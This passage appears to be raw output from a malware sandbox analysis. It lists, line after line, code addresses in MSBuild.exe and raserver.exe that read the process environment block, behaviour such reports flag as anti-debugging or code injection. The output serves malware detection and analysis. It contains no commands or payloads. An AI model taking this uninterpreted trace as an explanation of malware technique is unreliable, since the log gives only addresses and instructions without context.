Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_014E2D8A mov eax, dword ptr fs:[00000030h]		1_2_014E2D8A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_014E2D8A mov eax, dword ptr fs:[00000030h]		1_2_014E2D8A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_014E2D8A mov eax, dword ptr fs:[00000030h]		1_2_014E2D8A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_014E2D8A mov eax, dword ptr fs:[00000030h]		1_2_014E2D8A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_014E2D8A mov eax, dword ptr fs:[00000030h]		1_2_014E2D8A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0151FD9B mov eax, dword ptr fs:[00000030h]		1_2_0151FD9B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0151FD9B mov eax, dword ptr fs:[00000030h]		1_2_0151FD9B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_01512581 mov eax, dword ptr fs:[00000030h]		1_2_01512581
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_01512581 mov eax, dword ptr fs:[00000030h]		1_2_01512581
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_01512581 mov eax, dword ptr fs:[00000030h]		1_2_01512581
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_01512581 mov eax, dword ptr fs:[00000030h]		1_2_01512581
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_015A2D82 mov eax, dword ptr fs:[00000030h]		1_2_015A2D82
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_015A2D82 mov eax, dword ptr fs:[00000030h]		1_2_015A2D82
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_015A2D82 mov eax, dword ptr fs:[00000030h]		1_2_015A2D82
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_015A2D82 mov eax, dword ptr fs:[00000030h]		1_2_015A2D82
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_015A2D82 mov eax, dword ptr fs:[00000030h]		1_2_015A2D82
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_015A2D82 mov eax, dword ptr fs:[00000030h]		1_2_015A2D82
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_015A2D82 mov eax, dword ptr fs:[00000030h]		1_2_015A2D82
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_01511DB5 mov eax, dword ptr fs:[00000030h]		1_2_01511DB5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_01511DB5 mov eax, dword ptr fs:[00000030h]		1_2_01511DB5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_01511DB5 mov eax, dword ptr fs:[00000030h]		1_2_01511DB5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_015135A1 mov eax, dword ptr fs:[00000030h]		1_2_015135A1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_015B05AC mov eax, dword ptr fs:[00000030h]		1_2_015B05AC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_015B05AC mov eax, dword ptr fs:[00000030h]		1_2_015B05AC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0157C450 mov eax, dword ptr fs:[00000030h]		1_2_0157C450
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0157C450 mov eax, dword ptr fs:[00000030h]		1_2_0157C450
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0151A44B mov eax, dword ptr fs:[00000030h]		1_2_0151A44B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0150B477 mov eax, dword ptr fs:[00000030h]		1_2_0150B477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0150B477 mov eax, dword ptr fs:[00000030h]		1_2_0150B477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0150B477 mov eax, dword ptr fs:[00000030h]		1_2_0150B477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0150B477 mov eax, dword ptr fs:[00000030h]		1_2_0150B477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0150B477 mov eax, dword ptr fs:[00000030h]		1_2_0150B477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0150B477 mov eax, dword ptr fs:[00000030h]		1_2_0150B477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0150B477 mov eax, dword ptr fs:[00000030h]		1_2_0150B477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0150B477 mov eax, dword ptr fs:[00000030h]		1_2_0150B477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0150B477 mov eax, dword ptr fs:[00000030h]		1_2_0150B477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0150B477 mov eax, dword ptr fs:[00000030h]		1_2_0150B477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0150B477 mov eax, dword ptr fs:[00000030h]		1_2_0150B477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0150B477 mov eax, dword ptr fs:[00000030h]		1_2_0150B477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0151AC7B mov eax, dword ptr fs:[00000030h]		1_2_0151AC7B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0151AC7B mov eax, dword ptr fs:[00000030h]		1_2_0151AC7B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0151AC7B mov eax, dword ptr fs:[00000030h]		1_2_0151AC7B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0151AC7B mov eax, dword ptr fs:[00000030h]		1_2_0151AC7B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0151AC7B mov eax, dword ptr fs:[00000030h]		1_2_0151AC7B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0151AC7B mov eax, dword ptr fs:[00000030h]		1_2_0151AC7B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0151AC7B mov eax, dword ptr fs:[00000030h]		1_2_0151AC7B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0151AC7B mov eax, dword ptr fs:[00000030h]		1_2_0151AC7B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0151AC7B mov eax, dword ptr fs:[00000030h]		1_2_0151AC7B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0151AC7B mov eax, dword ptr fs:[00000030h]		1_2_0151AC7B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0151AC7B mov eax, dword ptr fs:[00000030h]		1_2_0151AC7B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0150746D mov eax, dword ptr fs:[00000030h]		1_2_0150746D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_015B740D mov eax, dword ptr fs:[00000030h]		1_2_015B740D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_015B740D mov eax, dword ptr fs:[00000030h]		1_2_015B740D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_015B740D mov eax, dword ptr fs:[00000030h]		1_2_015B740D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_015A1C06 mov eax, dword ptr fs:[00000030h]		1_2_015A1C06
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_015A1C06 mov eax, dword ptr fs:[00000030h]		1_2_015A1C06
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_015A1C06 mov eax, dword ptr fs:[00000030h]		1_2_015A1C06
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_015A1C06 mov eax, dword ptr fs:[00000030h]		1_2_015A1C06
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_015A1C06 mov eax, dword ptr fs:[00000030h]		1_2_015A1C06
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_015A1C06 mov eax, dword ptr fs:[00000030h]		1_2_015A1C06
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_015A1C06 mov eax, dword ptr fs:[00000030h]		1_2_015A1C06
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_015A1C06 mov eax, dword ptr fs:[00000030h]		1_2_015A1C06
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_015A1C06 mov eax, dword ptr fs:[00000030h]		1_2_015A1C06
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_015A1C06 mov eax, dword ptr fs:[00000030h]		1_2_015A1C06
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_015A1C06 mov eax, dword ptr fs:[00000030h]		1_2_015A1C06
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_015A1C06 mov eax, dword ptr fs:[00000030h]		1_2_015A1C06
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_015A1C06 mov eax, dword ptr fs:[00000030h]		1_2_015A1C06
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_015A1C06 mov eax, dword ptr fs:[00000030h]		1_2_015A1C06
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_01566C0A mov eax, dword ptr fs:[00000030h]		1_2_01566C0A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_01566C0A mov eax, dword ptr fs:[00000030h]		1_2_01566C0A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_01566C0A mov eax, dword ptr fs:[00000030h]		1_2_01566C0A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_01566C0A mov eax, dword ptr fs:[00000030h]		1_2_01566C0A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0151BC2C mov eax, dword ptr fs:[00000030h]		1_2_0151BC2C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_015B8CD6 mov eax, dword ptr fs:[00000030h]		1_2_015B8CD6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_015A14FB mov eax, dword ptr fs:[00000030h]		1_2_015A14FB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_01566CF0 mov eax, dword ptr fs:[00000030h]		1_2_01566CF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_01566CF0 mov eax, dword ptr fs:[00000030h]		1_2_01566CF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_01566CF0 mov eax, dword ptr fs:[00000030h]		1_2_01566CF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_015A4496 mov eax, dword ptr fs:[00000030h]		1_2_015A4496
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_015A4496 mov eax, dword ptr fs:[00000030h]		1_2_015A4496
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_015A4496 mov eax, dword ptr fs:[00000030h]		1_2_015A4496
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_015A4496 mov eax, dword ptr fs:[00000030h]		1_2_015A4496
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_015A4496 mov eax, dword ptr fs:[00000030h]		1_2_015A4496
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_015A4496 mov eax, dword ptr fs:[00000030h]		1_2_015A4496
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_015A4496 mov eax, dword ptr fs:[00000030h]		1_2_015A4496
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_015A4496 mov eax, dword ptr fs:[00000030h]		1_2_015A4496
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_015A4496 mov eax, dword ptr fs:[00000030h]		1_2_015A4496
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_015A4496 mov eax, dword ptr fs:[00000030h]		1_2_015A4496
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_015A4496 mov eax, dword ptr fs:[00000030h]		1_2_015A4496
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_015A4496 mov eax, dword ptr fs:[00000030h]		1_2_015A4496
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_015A4496 mov eax, dword ptr fs:[00000030h]		1_2_015A4496
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_014F849B mov eax, dword ptr fs:[00000030h]		1_2_014F849B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_014FEF40 mov eax, dword ptr fs:[00000030h]		1_2_014FEF40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_014FFF60 mov eax, dword ptr fs:[00000030h]		1_2_014FFF60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_015B8F6A mov eax, dword ptr fs:[00000030h]		1_2_015B8F6A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0150F716 mov eax, dword ptr fs:[00000030h]		1_2_0150F716
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0157FF10 mov eax, dword ptr fs:[00000030h]		1_2_0157FF10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0157FF10 mov eax, dword ptr fs:[00000030h]		1_2_0157FF10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_015B070D mov eax, dword ptr fs:[00000030h]		1_2_015B070D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_015B070D mov eax, dword ptr fs:[00000030h]		1_2_015B070D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0151A70E mov eax, dword ptr fs:[00000030h]		1_2_0151A70E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0151A70E mov eax, dword ptr fs:[00000030h]		1_2_0151A70E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_014E4F2E mov eax, dword ptr fs:[00000030h]		1_2_014E4F2E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_014E4F2E mov eax, dword ptr fs:[00000030h]		1_2_014E4F2E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0151E730 mov eax, dword ptr fs:[00000030h]		1_2_0151E730
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0150B73D mov eax, dword ptr fs:[00000030h]		1_2_0150B73D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0150B73D mov eax, dword ptr fs:[00000030h]		1_2_0150B73D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_015237F5 mov eax, dword ptr fs:[00000030h]		1_2_015237F5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_01567794 mov eax, dword ptr fs:[00000030h]		1_2_01567794
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_01567794 mov eax, dword ptr fs:[00000030h]		1_2_01567794
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_01567794 mov eax, dword ptr fs:[00000030h]		1_2_01567794
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_014F8794 mov eax, dword ptr fs:[00000030h]		1_2_014F8794
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_014F7E41 mov eax, dword ptr fs:[00000030h]		1_2_014F7E41
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_014F7E41 mov eax, dword ptr fs:[00000030h]		1_2_014F7E41
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_014F7E41 mov eax, dword ptr fs:[00000030h]		1_2_014F7E41
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_014F7E41 mov eax, dword ptr fs:[00000030h]		1_2_014F7E41
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_014F7E41 mov eax, dword ptr fs:[00000030h]		1_2_014F7E41
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_014F7E41 mov eax, dword ptr fs:[00000030h]		1_2_014F7E41
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_015AAE44 mov eax, dword ptr fs:[00000030h]		1_2_015AAE44
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_015AAE44 mov eax, dword ptr fs:[00000030h]		1_2_015AAE44
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_014F766D mov eax, dword ptr fs:[00000030h]		1_2_014F766D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0150AE73 mov eax, dword ptr fs:[00000030h]		1_2_0150AE73
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0150AE73 mov eax, dword ptr fs:[00000030h]		1_2_0150AE73
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0150AE73 mov eax, dword ptr fs:[00000030h]		1_2_0150AE73
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0150AE73 mov eax, dword ptr fs:[00000030h]		1_2_0150AE73
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0150AE73 mov eax, dword ptr fs:[00000030h]		1_2_0150AE73
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0151A61C mov eax, dword ptr fs:[00000030h]		1_2_0151A61C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0151A61C mov eax, dword ptr fs:[00000030h]		1_2_0151A61C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_014EC600 mov eax, dword ptr fs:[00000030h]		1_2_014EC600
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_014EC600 mov eax, dword ptr fs:[00000030h]		1_2_014EC600
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_014EC600 mov eax, dword ptr fs:[00000030h]		1_2_014EC600
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_01518E00 mov eax, dword ptr fs:[00000030h]		1_2_01518E00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_015A1608 mov eax, dword ptr fs:[00000030h]		1_2_015A1608
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0159FE3F mov eax, dword ptr fs:[00000030h]		1_2_0159FE3F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_014EE620 mov eax, dword ptr fs:[00000030h]		1_2_014EE620
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_015B8ED6 mov eax, dword ptr fs:[00000030h]		1_2_015B8ED6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_01528EC7 mov eax, dword ptr fs:[00000030h]		1_2_01528EC7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0159FEC0 mov eax, dword ptr fs:[00000030h]		1_2_0159FEC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_015136CC mov eax, dword ptr fs:[00000030h]		1_2_015136CC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_014F76E2 mov eax, dword ptr fs:[00000030h]		1_2_014F76E2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_015116E0 mov ecx, dword ptr fs:[00000030h]		1_2_015116E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0157FE87 mov eax, dword ptr fs:[00000030h]		1_2_0157FE87
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_015646A7 mov eax, dword ptr fs:[00000030h]		1_2_015646A7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_015B0EA5 mov eax, dword ptr fs:[00000030h]		1_2_015B0EA5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_015B0EA5 mov eax, dword ptr fs:[00000030h]		1_2_015B0EA5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_015B0EA5 mov eax, dword ptr fs:[00000030h]		1_2_015B0EA5
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_047F746D mov eax, dword ptr fs:[00000030h]		6_2_047F746D
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_048A8CD6 mov eax, dword ptr fs:[00000030h]		6_2_048A8CD6
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_048914FB mov eax, dword ptr fs:[00000030h]		6_2_048914FB
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_04856CF0 mov eax, dword ptr fs:[00000030h]		6_2_04856CF0
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_04856CF0 mov eax, dword ptr fs:[00000030h]		6_2_04856CF0
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_04856CF0 mov eax, dword ptr fs:[00000030h]		6_2_04856CF0
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_048A740D mov eax, dword ptr fs:[00000030h]		6_2_048A740D
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_048A740D mov eax, dword ptr fs:[00000030h]		6_2_048A740D
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_048A740D mov eax, dword ptr fs:[00000030h]		6_2_048A740D
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_04891C06 mov eax, dword ptr fs:[00000030h]		6_2_04891C06
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_04891C06 mov eax, dword ptr fs:[00000030h]		6_2_04891C06
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_04891C06 mov eax, dword ptr fs:[00000030h]		6_2_04891C06
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_04891C06 mov eax, dword ptr fs:[00000030h]		6_2_04891C06
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_04891C06 mov eax, dword ptr fs:[00000030h]		6_2_04891C06
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_04891C06 mov eax, dword ptr fs:[00000030h]		6_2_04891C06
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_04891C06 mov eax, dword ptr fs:[00000030h]		6_2_04891C06
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_04891C06 mov eax, dword ptr fs:[00000030h]		6_2_04891C06
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_04891C06 mov eax, dword ptr fs:[00000030h]		6_2_04891C06
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_04891C06 mov eax, dword ptr fs:[00000030h]		6_2_04891C06
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_04891C06 mov eax, dword ptr fs:[00000030h]		6_2_04891C06
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_04891C06 mov eax, dword ptr fs:[00000030h]		6_2_04891C06
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_04891C06 mov eax, dword ptr fs:[00000030h]		6_2_04891C06
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_04891C06 mov eax, dword ptr fs:[00000030h]		6_2_04891C06
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_04856C0A mov eax, dword ptr fs:[00000030h]		6_2_04856C0A
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_04856C0A mov eax, dword ptr fs:[00000030h]		6_2_04856C0A
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_04856C0A mov eax, dword ptr fs:[00000030h]		6_2_04856C0A
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_04856C0A mov eax, dword ptr fs:[00000030h]		6_2_04856C0A
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_0480BC2C mov eax, dword ptr fs:[00000030h]		6_2_0480BC2C
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_0480A44B mov eax, dword ptr fs:[00000030h]		6_2_0480A44B
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_0486C450 mov eax, dword ptr fs:[00000030h]		6_2_0486C450
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_0486C450 mov eax, dword ptr fs:[00000030h]		6_2_0486C450
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_047E849B mov eax, dword ptr fs:[00000030h]		6_2_047E849B
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_04802581 mov eax, dword ptr fs:[00000030h]		6_2_04802581
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_04802581 mov eax, dword ptr fs:[00000030h]		6_2_04802581
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_04802581 mov eax, dword ptr fs:[00000030h]		6_2_04802581
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_04802581 mov eax, dword ptr fs:[00000030h]		6_2_04802581
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_047FC577 mov eax, dword ptr fs:[00000030h]		6_2_047FC577
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_047FC577 mov eax, dword ptr fs:[00000030h]		6_2_047FC577
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_0480FD9B mov eax, dword ptr fs:[00000030h]		6_2_0480FD9B
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_0480FD9B mov eax, dword ptr fs:[00000030h]		6_2_0480FD9B
